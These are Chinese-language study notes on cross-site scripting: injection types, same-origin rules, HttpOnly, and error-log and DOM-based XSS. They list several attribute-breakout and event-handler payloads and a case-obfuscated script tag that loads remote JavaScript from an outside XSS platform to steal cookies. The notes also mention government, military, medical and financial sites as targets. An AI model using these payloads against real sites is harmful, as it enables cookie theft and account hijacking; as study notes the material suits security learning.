xss注入

 

xss:前端代码注入

用户输入的数据被当作前端代码执行

 

1.窃取cookie

2.获取内网ip

3.获取浏览器保存的明文密码

3.截取网页屏幕

4.网页上的键盘记录

 

存储型、反射性、

 

xss利用javascript操纵浏览器

cookie注入：document.cookie

独去cookie，发送cookie

A网站B网站的界限是    

同源:同域名、同端口、同协议

同源的cookie就可以互相调用

前端代码触发js的状态

1、<script>alert(1)</script>

2、伪协议法:<a href=javascript:alert(1)  />1</a>

3、事件型：

                 <img src=# onerror=alert(1) />

https://www.runoob.com/js/js-events.html

onxxxx事件

    #页面得有输出

    #<input name="keyword" value="" oninput=alert(1)//">

       检查代码和源码可能不同 单双引号闭合类

浏览器回对源码进行加工

' onput=alert(1)//

' onfocus=alert(1)// autofocus     

反射性：可以使用短网址

偷cookie：

    1、手写js代码去偷

    2、利用xss平台偷（别人写好的js放在平台上随时可以用）

xss.pt

 

防止窃取cookie：http-only

    1、csrf（做了xss，我们可以插入js语句，发送数据包去新建账号）

    2、让页面显示cookie - （phpinfo）可以查看

    

    

探针（phpstudy）    

<sCRiPt sRC=//xss8. CC/A4gM><</sCrIpT>

(政府、军方、医疗、金融)

<iframe onload="alert(1)">//

 

错误日志存储型xss漏洞

错误日志：记录有人访问的时候遇到的错误

访问不存在的为你教案、不存在的地址

如果记录下来的时候，没有过滤。那么是否会存在xss

cms兼容性不太好：要放在根目录且80端口

默认账户：admin 密码：admin

 

DOM型xss 

dom是一个js可以操纵浏览器和网页显示内容的接口

每个载入浏览器的html文档都会成为document的对象

document对象使我们可以从脚本中对html页面那种的元素进行访问

有些网站为了看起来更安全伪装成静态

lastModified 判断伪静态

经过js处理后触发的xss都可以认为是dom型

    1、它有和后端交互吗?

    2、纯静态页面

innerHTML